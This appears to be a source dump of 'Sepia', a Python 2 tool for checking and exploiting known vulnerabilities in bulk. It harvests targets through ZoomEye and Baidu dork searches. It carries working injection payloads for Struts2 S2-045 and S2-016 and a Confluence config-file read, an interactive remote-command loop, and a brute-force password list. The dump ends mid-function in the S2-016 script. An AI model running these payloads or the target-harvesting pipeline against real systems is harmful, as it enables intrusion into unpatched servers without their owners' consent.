├── .gitignore
├── lib
├── __init__.py
├── api
│ ├── __init__.py
│ ├── baidu
│ │ ├── __init__.py
│ │ └── pack.py
│ └── zoomeye
│ │ ├── __init__.py
│ │ ├── pack.py
│ │ └── base.py
├── utils
│ ├── __init__.py
│ ├── versioncheck.py
│ ├── config.py
│ ├── expfunctions.py
│ └── console.py
├── controller
│ ├── __init__.py
│ ├── api.py
│ ├── loader.py
│ └── engine.py
├── core
│ ├── __init__.py
│ ├── data.py
│ ├── exception.py
│ ├── enums.py
│ ├── settings.py
│ ├── convert.py
│ ├── log.py
│ ├── datatype.py
│ ├── register.py
│ ├── option.py
│ └── common.py
├── parse
│ ├── __init__.py
│ └── cmdline.py
└── cli.py
├── plugin
├── __init__.py
├── extracts.py
├── useragent.py
├── cloudeye.py
├── util.py
└── static.py
├── script
├── __init__.py
├── _script_test.py
├── atlassian_confluence_file_read.py
├── struts2_045_rce.py
├── struts2_016_get_rce.py
├── elasticsearch_groovy_rce.py
└── cactiez_weathermap_file_write.py
├── thirdparty
├── IPy
│ └── __init__.py
├── __init__.py
├── ansistrm
│ ├── __init__.py
│ └── ansistrm.py
├── colorama
│ ├── __init__.py
│ ├── ansi.py
│ ├── initialise.py
│ ├── win32.py
│ ├── winterm.py
│ └── ansitowin32.py
├── prettytable
│ └── __init__.py
├── termcolor
│ ├── __init__.py
│ └── termcolor.py
├── odict
│ └── __init__.py
└── httplib2
│ ├── iri2uri.py
│ └── socks.py
├── toolkit.conf
├── sepia.py
├── data
├── pass100.txt
└── pass1000.txt
├── README.md
└── LICENSE
/.gitignore:
--------------------------------------------------------------------------------
1 | *.pyc
2 |
--------------------------------------------------------------------------------
/lib/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
--------------------------------------------------------------------------------
/lib/api/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
--------------------------------------------------------------------------------
/lib/utils/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
--------------------------------------------------------------------------------
/plugin/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
--------------------------------------------------------------------------------
/lib/api/baidu/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
--------------------------------------------------------------------------------
/lib/controller/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
--------------------------------------------------------------------------------
/lib/core/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
--------------------------------------------------------------------------------
/lib/parse/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
--------------------------------------------------------------------------------
/script/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
--------------------------------------------------------------------------------
/lib/api/zoomeye/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
--------------------------------------------------------------------------------
/thirdparty/IPy/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
--------------------------------------------------------------------------------
/thirdparty/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
--------------------------------------------------------------------------------
/thirdparty/ansistrm/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
--------------------------------------------------------------------------------
/thirdparty/colorama/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
--------------------------------------------------------------------------------
/thirdparty/prettytable/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
--------------------------------------------------------------------------------
/thirdparty/termcolor/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
--------------------------------------------------------------------------------
/toolkit.conf:
--------------------------------------------------------------------------------
1 | [zoomeye]
2 | email:
3 | password:
4 |
5 | [urlfilter]
6 | regex:
7 |
--------------------------------------------------------------------------------
/script/_script_test.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | _type = 'RCE'
4 | """
5 | 测试用例
6 | """
7 |
8 | import random
9 | import time
10 |
11 | def poc(str):
12 | time.sleep(3)
13 | if random.randint(1, 10) > 5:
14 | return True
15 | return False
16 |
17 | def exp(str, command):
18 | print "Exploit moudle test."
--------------------------------------------------------------------------------
/sepia.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 | '''
4 | Sepia是在POC-T的基础上修改并改进的一款集PoC验证和漏洞攻击的内部安全团队工具
5 | 感谢POC-T项目:https://github.com/Xyntax/POC-T
6 | 感谢原作者@cdxy:https://www.cdxy.me
7 | '''
8 | import sys
9 | sys.dont_write_bytecode = True
10 |
11 | from lib.utils import versioncheck # 进行版本检查
12 | from lib.cli import main #导入主函数模块
13 |
14 | if __name__ == '__main__':
15 | main()
--------------------------------------------------------------------------------
/lib/core/data.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | from lib.core.log import MY_LOGGER
5 | from lib.core.datatype import AttribDict
6 |
7 | logger = MY_LOGGER
8 |
9 | paths = AttribDict() #定义新字典对象paths
10 |
11 | cmdLineOptions = AttribDict() #定义新字典对象cmdLineOptions
12 |
13 | conf = AttribDict() #定义新字典对象conf
14 |
15 | th = AttribDict() #定义新字典对象th
16 |
17 | targetlist = [] #用来存储扫描结果
--------------------------------------------------------------------------------
/lib/utils/versioncheck.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | """
5 | Use as 'from lib.utils import versioncheck'
6 | It has to be the first non-standard import before your project enter main() function
7 | """
8 |
9 | import sys
10 |
11 | PYVERSION = sys.version.split()[0]
12 |
13 | if PYVERSION >= "3" or PYVERSION < "2.7":
14 | exit("[CRITICAL] incompatible Python version detected ('%s'). "
15 | "For successfully running this project, you'll have to use version 2.7"
16 | "(visit 'http://www.python.org/download/')" % PYVERSION)
17 |
--------------------------------------------------------------------------------
/script/atlassian_confluence_file_read.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 | _type = 'FR'
4 | """
5 | Atlassian Confluence config file read POC [CVE-2015-8399]
6 |
7 | reference:
8 | http://zone.wooyun.org/content/27104
9 | http://www.cnnvd.org.cn/vulnerability/show/cv_id/2016010311
10 | https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-8399
11 |
12 | """
13 |
14 | import requests
15 |
16 | def poc(url):
17 | try:
18 | if '://' not in url:
19 | url = 'http://' + url
20 | payloads = ['/spaces/viewdefaultdecorator.action?decoratorName=']
21 | for each in payloads:
22 | if '.properties' in requests.get(url=url + each).content:
23 | return True
24 | return False
25 | except Exception, e:
26 | return False
27 |
28 | def exp(url):
29 | pass
30 |
--------------------------------------------------------------------------------
/lib/utils/config.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | import ConfigParser
5 | from lib.core.data import paths, logger
6 | from lib.core.common import getSafeExString
7 |
8 |
9 | class ConfigFileParser:
10 | @staticmethod
11 | def _get_option(section, option):
12 | try:
13 | cf = ConfigParser.ConfigParser()
14 | cf.read(paths.CONFIG_PATH)
15 | return cf.get(section=section, option=option)
16 | except ConfigParser.NoOptionError, e:
17 | logger.warning('Missing essential options, please check your config-file')
18 | logger.error(getSafeExString(e))
19 | return ''
20 |
21 | def ZoomEyeEmail(self):
22 | return self._get_option('zoomeye', 'email')
23 |
24 | def ZoomEyePassword(self):
25 | return self._get_option('zoomeye', 'password')
26 |
27 | def UrlFilter(self):
28 | return self._get_option('urlfilter', 'regex')
29 |
--------------------------------------------------------------------------------
/lib/core/exception.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | class ToolkitBaseException(Exception):
5 | pass
6 |
7 |
8 | class ToolkitConnectionException(Exception):
9 | pass
10 |
11 |
12 | class ToolkitDataException(ToolkitBaseException):
13 | pass
14 |
15 |
16 | class ToolkitMissingPrivileges(ToolkitBaseException):
17 | pass
18 |
19 |
20 | class ToolkitUserQuitException(ToolkitBaseException):
21 | pass
22 |
23 |
24 | class ToolkitSystemException(ToolkitBaseException):
25 | pass
26 |
27 |
28 | class ToolkitValueException(ToolkitBaseException):
29 | pass
30 |
31 |
32 | class ToolkitPluginException(ToolkitBaseException):
33 | pass
34 |
35 |
36 | class RegisterException(Exception):
37 | pass
38 |
39 |
40 | class RegisterValueException(RegisterException):
41 | pass
42 |
43 |
44 | class RegisterDataException(RegisterException):
45 | pass
46 |
47 |
48 | class RegisterMutexException(RegisterException):
49 | pass
50 |
--------------------------------------------------------------------------------
/lib/core/enums.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | class CUSTOM_LOGGING:
5 | SYSINFO = 9
6 | SUCCESS = 8
7 | ERROR = 7
8 | WARNING = 6
9 |
10 |
11 | class CONTENT_STATUS:
12 | IN_PROGRESS = 0
13 | COMPLETE = 1
14 |
15 |
16 | class EXIT_STATUS:
17 | SYSETM_EXIT = 0
18 | ERROR_EXIT = 1
19 | USER_QUIT = 2
20 |
21 |
22 | class POC_RESULT_STATUS:
23 | FAIL = 0
24 | SUCCESS = 1
25 | RETRAY = 2
26 |
27 |
28 | class API_MODE_NAME:
29 | ZOOMEYE = 'ZoomEye'
30 | BAIDU = 'Baidu'
31 |
32 |
33 | class TARGET_MODE_STATUS:
34 | FILE = 9
35 | SINGLE = 8
36 | IPMASK = 7
37 | RANGE = 6
38 | API = 5
39 |
40 |
41 | class ENGINE_MODE_STATUS:
42 | THREAD = 9
43 | GEVENT = 8
44 |
45 |
46 | class PROXY_TYPE: # keep same with SocksiPy(import socks)
47 | PROXY_TYPE_SOCKS4 = SOCKS4 = 1
48 | PROXY_TYPE_SOCKS5 = SOCKS5 = 2
49 | PROXY_TYPE_HTTP = HTTP = 3
50 | PROXY_TYPE_HTTP_NO_TUNNEL = 4
51 |
--------------------------------------------------------------------------------
/script/struts2_045_rce.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 | # author = S4kur4
4 | _type = 'RCE'
5 | """
6 | Struts2 S2-045 Remote Code Execution PoC (CVE-2017-5638)
7 |
8 | Version:
9 | 2.3.5-2.3.31, 2.5-2.5.10
10 | """
11 |
12 | import requests
13 | import random
14 |
15 | header = {
16 | "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:46.0) Gecko/20100101 Firefox/46.0",
17 | "Connection" : "keep-alive",
18 | "Accept" : "*/*",
19 | "Accept-Encoding" : "deflate",
20 | "Accept-Language" : "zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4"
21 | }
22 |
23 | def poc(url):
24 | if '://' not in url:
25 | url = 'http://' + url
26 | try:
27 | header["Content-Type"] = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vul','vul')}.multipart/form-data"
28 | response = requests.get(url=url, headers=header, timeout=5)
29 | if "vul:vul" in response.text:
30 | return True
31 | else:
32 | return False
33 | except Exception:
34 | return False
35 |
36 | def exp():
37 | pass
38 |
39 |
--------------------------------------------------------------------------------
/thirdparty/colorama/ansi.py:
--------------------------------------------------------------------------------
1 | '''
2 | This module generates ANSI character codes to printing colors to terminals.
3 | See: http://en.wikipedia.org/wiki/ANSI_escape_code
4 | '''
5 |
6 | CSI = '\033['
7 |
8 | def code_to_chars(code):
9 | return CSI + str(code) + 'm'
10 |
11 | class AnsiCodes(object):
12 | def __init__(self, codes):
13 | for name in dir(codes):
14 | if not name.startswith('_'):
15 | value = getattr(codes, name)
16 | setattr(self, name, code_to_chars(value))
17 |
18 | class AnsiFore:
19 | BLACK = 30
20 | RED = 31
21 | GREEN = 32
22 | YELLOW = 33
23 | BLUE = 34
24 | MAGENTA = 35
25 | CYAN = 36
26 | WHITE = 37
27 | RESET = 39
28 |
29 | class AnsiBack:
30 | BLACK = 40
31 | RED = 41
32 | GREEN = 42
33 | YELLOW = 43
34 | BLUE = 44
35 | MAGENTA = 45
36 | CYAN = 46
37 | WHITE = 47
38 | RESET = 49
39 |
40 | class AnsiStyle:
41 | BRIGHT = 1
42 | DIM = 2
43 | NORMAL = 22
44 | RESET_ALL = 0
45 |
46 | Fore = AnsiCodes( AnsiFore )
47 | Back = AnsiCodes( AnsiBack )
48 | Style = AnsiCodes( AnsiStyle )
49 |
50 |
--------------------------------------------------------------------------------
/lib/utils/expfunctions.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | import sys
5 | from lib.core.data import logger
6 |
7 | def rce(exp, url): # Remote code excute
8 | logger.info("Input system command to execute or print 'q' to exit")
9 | command = raw_input("\033[4mCommand\033[0m > ")
10 | while command != "q":
11 | try:
12 | exp(url, command)
13 | except Exception, e:
14 | msg = "Command execution error"
15 | sys.exit(logger.error(msg))
16 | break
17 | command = raw_input("\033[4mCommand\033[0m > ")
18 |
19 | def fr(exp, url): # File read
20 | exp(url)
21 | logger.warning("Please use other tools to exploit this vulnerability. Exit exploit mode")
22 |
23 | def fw(exp, url): # File write
24 | exp(url)
25 |
26 | def lfi(exp, url): # Local file include
27 | exp(url)
28 | logger.warning("Please use other tools to exploit this vulnerability. Exit exploit mode")
29 |
30 | def rfi(exp, url): # Remote file include
31 | exp(url)
32 | logger.warning("Please use other tools to exploit this vulnerability. Exit exploit mode")
33 |
34 | def sqli(exp, url): # SQL injection
35 | exp(url)
36 |
--------------------------------------------------------------------------------
/lib/api/zoomeye/pack.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | import sys
5 | from lib.api.zoomeye.base import ZoomEye
6 | from lib.core.data import logger
7 |
8 |
9 | def _initial():
10 | z = ZoomEye()
11 | z.auto_login()
12 | info = z.resources_info()['resources']
13 | if info:
14 | msg = 'Available ZoomEye search: (web:%s,host:%s)' % (info['web-search'], info['host-search'])
15 | logger.info(msg)
16 | else:
17 | msg = 'ZoomEye API authorization failed, Please re-run it and enter a new token.'
18 | sys.exit(logger.error(msg))
19 | return z
20 |
21 |
22 | def ZoomEyeSearch(query, limit, type='host', offset=0):
23 | z = _initial()
24 | ans = []
25 | limit += offset
26 | for page_n in range(int(offset / 10), int((limit + 10 - 1) / 10)):
27 | data = z.dork_search(query, resource=type, page=page_n)
28 | if data:
29 | for i in data:
30 | ip_str = i.get('ip')
31 | if 'portinfo' in i:
32 | ip_str = ip_str + ':' + str(i.get('portinfo').get('port'))
33 | ans.append(ip_str)
34 | else:
35 | break
36 | return ans
37 |
--------------------------------------------------------------------------------
/lib/controller/api.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | import os
5 | import time
6 | from lib.core.data import conf, logger
7 | from lib.core.exception import ToolkitValueException
8 | from lib.core.enums import API_MODE_NAME
9 | from lib.api.zoomeye.pack import ZoomEyeSearch
10 | from lib.api.baidu.pack import BaiduSearch
11 |
12 |
13 | def runApi():
14 | output = conf.API_OUTPUT
15 | dork = conf.API_DORK
16 | limit = conf.API_LIMIT
17 | logger.info('Activate %s API' % conf.API_MODE)
18 | if conf.API_MODE is API_MODE_NAME.ZOOMEYE:
19 | anslist = ZoomEyeSearch(query=dork, limit=limit, type=conf.ZOOMEYE_SEARCH_TYPE, offset=conf.API_OFFSET)
20 | elif conf.API_MODE is API_MODE_NAME.BAIDU:
21 | anslist = BaiduSearch(query=dork, limit=limit, offset=conf.API_OFFSET)
22 | else:
23 | raise ToolkitValueException('Unknown API mode')
24 |
25 | tmpIpFile = os.path.join(output, '%s.txt' % (time.strftime('%Y%m%d%H%M%S')))
26 | with open(tmpIpFile, 'w') as fp:
27 | for each in anslist:
28 | if isinstance(each, list): # for ZoomEye web type
29 | each = each[0]
30 | fp.write(each + '\n')
31 | return tmpIpFile
32 |
--------------------------------------------------------------------------------
/lib/core/settings.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 |
5 | import os
6 | import subprocess
7 |
8 | VERSION = '1.2.3#dev'
9 | PROJECT = "Sepia"
10 | PLATFORM = os.name
11 | IS_WIN = subprocess.mswindows #判断当前环境是否为Windows
12 |
13 | # essential methods/functions in custom scripts/PoC (such as function poc())
14 | ESSENTIAL_MODULE_METHODS = ['poc']
15 | # optional methods/functions in custom scripts/PoC (such as function poc())
16 | OPTIONAL_MOUDLE_METHODS = ['exp']
17 | # Encoding used for Unicode data
18 | UNICODE_ENCODING = "utf-8"
19 | # String representation for NULL value
20 | NULL = "NULL"
21 | # Format used for representing invalid unicode characters
22 | INVALID_UNICODE_CHAR_FORMAT = r"\x%02x"
23 |
24 | ISSUES_PAGE = "https://github.com/Xyntax/POC-T/issues"
25 | GIT_REPOSITORY = "git://github.com/Xyntax/POC-T.git"
26 | GIT_PAGE = "https://github.com/Xyntax/POC-T"
27 |
28 | BANNER = """\033[01;33m _
29 | ___ ___ _ __\033[01;31m(¯ω¯)\033[01;33m __ _ \033[01;37m{\033[01;33m%s\033[01;37m}\033[01;33m
30 | / __|/ _ \ '_ \| |/ _` |
31 | \__ \ __/ |_) | | (_| |
32 | |___/\___| .__/|_|\__,_| \033[07;33;41mPoC|Exploit\033[0m\033[01;33m
33 | |_|
34 | \033[0m\n""" % VERSION
--------------------------------------------------------------------------------
/thirdparty/odict/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # The BSD License
4 | #
5 | # Copyright 2003-2008 Nicola Larosa, Michael Foord
6 | #
7 | # Permission is hereby granted, free of charge, to any person obtaining a copy
8 | # of this software and associated documentation files (the "Software"), to deal
9 | # in the Software without restriction, including without limitation the rights
10 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
11 | # copies of the Software, and to permit persons to whom the Software is
12 | # furnished to do so, subject to the following conditions:
13 | #
14 | # The above copyright notice and this permission notice shall be included in
15 | # all copies or substantial portions of the Software.
16 | #
17 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
18 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
19 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
20 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
21 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
22 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
23 | # THE SOFTWARE.
24 | #
25 |
26 | pass
27 |
--------------------------------------------------------------------------------
/lib/core/convert.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | import sys
5 | from lib.core.settings import IS_WIN, UNICODE_ENCODING
6 |
7 |
8 | def singleTimeWarnMessage(message): # Cross-linked function
9 | sys.stdout.write(message)
10 | sys.stdout.write("\n")
11 | sys.stdout.flush()
12 |
13 |
14 | def stdoutencode(data):
15 | retVal = None
16 |
17 | try:
18 | data = data or ""
19 |
20 | # Reference: http://bugs.python.org/issue1602
21 | if IS_WIN:
22 | output = data.encode(sys.stdout.encoding, "replace")
23 |
24 | if '?' in output and '?' not in data:
25 | warnMsg = "cannot properly display Unicode characters "
26 | warnMsg += "inside Windows OS command prompt "
27 | warnMsg += "(http://bugs.python.org/issue1602). All "
28 | warnMsg += "unhandled occurances will result in "
29 | warnMsg += "replacement with '?' character. Please, find "
30 | warnMsg += "proper character representation inside "
31 | warnMsg += "corresponding output files. "
32 | singleTimeWarnMessage(warnMsg)
33 |
34 | retVal = output
35 | else:
36 | retVal = data.encode(sys.stdout.encoding)
37 | except Exception:
38 | retVal = data.encode(UNICODE_ENCODING) if isinstance(data, unicode) else data
39 |
40 | return retVal
41 |
--------------------------------------------------------------------------------
/thirdparty/colorama/initialise.py:
--------------------------------------------------------------------------------
1 | import atexit
2 | import sys
3 |
4 | from .ansitowin32 import AnsiToWin32
5 |
6 |
7 | orig_stdout = sys.stdout
8 | orig_stderr = sys.stderr
9 |
10 | wrapped_stdout = sys.stdout
11 | wrapped_stderr = sys.stderr
12 |
13 | atexit_done = False
14 |
15 |
16 | def reset_all():
17 | AnsiToWin32(orig_stdout).reset_all()
18 |
19 |
20 | def init(autoreset=False, convert=None, strip=None, wrap=True):
21 |
22 | if not wrap and any([autoreset, convert, strip]):
23 | raise ValueError('wrap=False conflicts with any other arg=True')
24 |
25 | global wrapped_stdout, wrapped_stderr
26 | sys.stdout = wrapped_stdout = \
27 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap)
28 | sys.stderr = wrapped_stderr = \
29 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap)
30 |
31 | global atexit_done
32 | if not atexit_done:
33 | atexit.register(reset_all)
34 | atexit_done = True
35 |
36 |
37 | def deinit():
38 | sys.stdout = orig_stdout
39 | sys.stderr = orig_stderr
40 |
41 |
42 | def reinit():
43 | sys.stdout = wrapped_stdout
44 | sys.stderr = wrapped_stdout
45 |
46 |
47 | def wrap_stream(stream, convert, strip, autoreset, wrap):
48 | if wrap:
49 | wrapper = AnsiToWin32(stream,
50 | convert=convert, strip=strip, autoreset=autoreset)
51 | if wrapper.should_wrap():
52 | stream = wrapper.stream
53 | return stream
54 |
55 |
56 |
--------------------------------------------------------------------------------
/data/pass100.txt:
--------------------------------------------------------------------------------
1 | 123456789
2 | a123456
3 | 123456
4 | a123456789
5 | 1234567890
6 | woaini1314
7 | qq123456
8 | abc123456
9 | 123456a
10 | 123456789a
11 | 147258369
12 | zxcvbnm
13 | 987654321
14 | 12345678910
15 | abc123
16 | qq123456789
17 | 123456789.
18 | 7708801314520
19 | woaini
20 | 5201314520
21 | q123456
22 | 123456abc
23 | 1233211234567
24 | 123123123
25 | 123456.
26 | 0123456789
27 | asd123456
28 | aa123456
29 | 135792468
30 | q123456789
31 | abcd123456
32 | 12345678900
33 | woaini520
34 | woaini123
35 | zxcvbnm123
36 | 1111111111111111
37 | w123456
38 | aini1314
39 | abc123456789
40 | 111111
41 | woaini521
42 | qwertyuiop
43 | 1314520520
44 | 1234567891
45 | qwe123456
46 | asd123
47 | 000000
48 | 1472583690
49 | 1357924680
50 | 789456123
51 | 123456789abc
52 | z123456
53 | 1234567899
54 | aaa123456
55 | abcd1234
56 | www123456
57 | 123456789q
58 | 123abc
59 | qwe123
60 | w123456789
61 | 7894561230
62 | 123456qq
63 | zxc123456
64 | 123456789qq
65 | 1111111111
66 | 111111111
67 | 0000000000000000
68 | 1234567891234567
69 | qazwsxedc
70 | qwerty
71 | 123456..
72 | zxc123
73 | asdfghjkl
74 | 0000000000
75 | 1234554321
76 | 123456q
77 | 123456aa
78 | 9876543210
79 | 110120119
80 | qaz123456
81 | qq5201314
82 | 123698745
83 | 5201314
84 | 000000000
85 | as123456
86 | 123123
87 | 5841314520
88 | z123456789
89 | 52013145201314
90 | a123123
91 | caonima
92 | a5201314
93 | wang123456
94 | abcd123
95 | 123456789..
96 | woaini1314520
97 | 123456asd
98 | aa123456789
99 | 741852963
100 | a12345678
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Sepia-乌贼
2 | [](https://www.python.org/) [](https://github.com/S4kur4/Sepia/blob/master/LICENSE)
3 |
4 | Sepia(乌贼)是一款集PoC批量验证和漏洞攻击的渗透测试工具,能满足漏洞爆发时快速对资产状况进行查证的需求。
5 |
6 |
7 |
8 | ## 一些说明
9 | Sepia是在POC-T的基础上做了精简、改进而成的,因此首先要感谢@cdxy的POC-T项目:[POC-T](https://github.com/Xyntax/POC-T)。
10 |
11 | 与POC-T相比,Sepia有以下一些变化:
12 |
13 | **1. 数据搜集方式的变化**
14 |
15 | 去掉了Google dork、Shodan dork,只保留了Zoomeye dork,增加了Baidu dork(URL爬虫)。
16 |
17 | **2. 增加了URL正则抓取定制功能**
18 |
19 | 一些Web应用程序的漏洞其对应的URL可能千变万化,仅利用@cdxy批量[规范URL的方法](https://www.cdxy.me/?p=640)会降低验证效率,因此Sepia在toolkit文件中增加了正则定制项`urlfilter`,通过配合百度URL爬虫,能大大提升抓取和验证的效率。
20 |
21 | **3. 改变了一些输出显示**
22 |
23 | Sepia去掉了POC-T导出到文件的功能,引入`prettytable`直接将结果做成表格显示在终端。
24 |
25 | **4. 脚本编写要求的变化**
26 |
27 | 由于Sepia含有漏洞的攻击功能,但各种漏洞的攻击方式会有很大差异,目前已经基本确定了Sepia的脚本编写规则和标准,这应该是和POC-T有比较大区别的地方。
28 |
29 | **总之,POC-T专注的是并发批量处理任务,而Sepia只专注高效批量PoC验证并能对单个目标实施攻击。**
30 |
31 | ## Wiki
32 |
33 | * [使用举例](https://github.com/S4kur4/Sepia/wiki/使用举例)
34 | * [参数说明](https://github.com/S4kur4/Sepia/wiki/参数说明)
35 | * [脚本编写规则](https://github.com/S4kur4/Sepia/wiki/脚本编写规则)
36 | * [脚本库](https://github.com/S4kur4/Sepia/wiki/脚本库)
37 |
38 | ## 后话
39 |
40 | Sepia还处于开发版本阶段,有任何问题烦请发邮件至:[s4kur4s4kur4@gmail.com](mailto:s4kur4s4kur4@gmail.com?Subject=Hello%20S4kur4)。
41 |
42 | **2017年10月29日更新**:由于ZoomEye方面一直处于升级更新状态,近期本来想完善Sepia的ZoomEye Dork代码,但ZoomEye的API迟迟未开放导致不能继续完善。暂时我先慢慢扩充脚本库吧。
43 |
44 | **2018年7月18日更新**: 离开了大半年,发生了很多事,近期回归。
45 |
--------------------------------------------------------------------------------
/lib/core/log.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | import logging
5 | import sys
6 |
7 | from lib.core.enums import CUSTOM_LOGGING
8 |
9 | logging.addLevelName(CUSTOM_LOGGING.SYSINFO, "*")
10 | logging.addLevelName(CUSTOM_LOGGING.SUCCESS, "+")
11 | logging.addLevelName(CUSTOM_LOGGING.ERROR, "-")
12 | logging.addLevelName(CUSTOM_LOGGING.WARNING, "!")
13 |
14 | LOGGER = logging.getLogger("TookitLogger")
15 |
16 | LOGGER_HANDLER = None
17 | try:
18 | from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler
19 |
20 | try:
21 | LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout)
22 | LOGGER_HANDLER.level_map[logging.getLevelName("*")] = (None, "cyan", False)
23 | LOGGER_HANDLER.level_map[logging.getLevelName("+")] = (None, "green", False)
24 | LOGGER_HANDLER.level_map[logging.getLevelName("-")] = (None, "red", False)
25 | LOGGER_HANDLER.level_map[logging.getLevelName("!")] = (None, "yellow", False)
26 | except Exception:
27 | LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
28 |
29 | except ImportError:
30 | LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
31 |
32 | FORMATTER = logging.Formatter("\r[%(levelname)s] %(message)s", "%H:%M:%S")
33 |
34 | LOGGER_HANDLER.setFormatter(FORMATTER)
35 | LOGGER.addHandler(LOGGER_HANDLER)
36 | LOGGER.setLevel(CUSTOM_LOGGING.WARNING)
37 |
38 |
39 | class MY_LOGGER:
40 | @staticmethod
41 | def success(msg):
42 | return LOGGER.log(CUSTOM_LOGGING.SUCCESS, msg)
43 |
44 | @staticmethod
45 | def info(msg):
46 | return LOGGER.log(CUSTOM_LOGGING.SYSINFO, msg)
47 |
48 | @staticmethod
49 | def warning(msg):
50 | return LOGGER.log(CUSTOM_LOGGING.WARNING, msg)
51 |
52 | @staticmethod
53 | def error(msg):
54 | return LOGGER.log(CUSTOM_LOGGING.ERROR, msg)
55 |
--------------------------------------------------------------------------------
/script/struts2_016_get_rce.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 | # author = S4kur4
4 | _type = 'RCE'
5 | """
6 | Struts2 S2-016 Remote Code Execution PoC (CVE-2013-2251)
7 |
8 | Version:
9 | 2.0.0-2.3.15
10 | """
11 |
12 | import requests
13 | import random
14 |
15 | header = {
16 | "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:46.0) Gecko/20100101 Firefox/46.0",
17 | "Connection" : "keep-alive",
18 | "Accept" : "*/*",
19 | "Accept-Encoding" : "deflate",
20 | "Accept-Language" : "zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4"
21 | }
22 |
23 | def poc(url):
24 | if '://' not in url:
25 | url = 'http://' + url
26 | try:
27 | a = random.randint(100, 200)
28 | b = random.randint(100, 200)
29 | c = a * b
30 | url = url + "?redirect:%25{" + "%s*%s}" % (str(a), str(b))
31 | response = requests.get(url=url, headers=header, timeout=5)
32 | if str(c) in response.text and response.status_code == 404:
33 | return True
34 | else:
35 | return False
36 | except Exception:
37 | return False
38 |
39 | def exp(url, command):
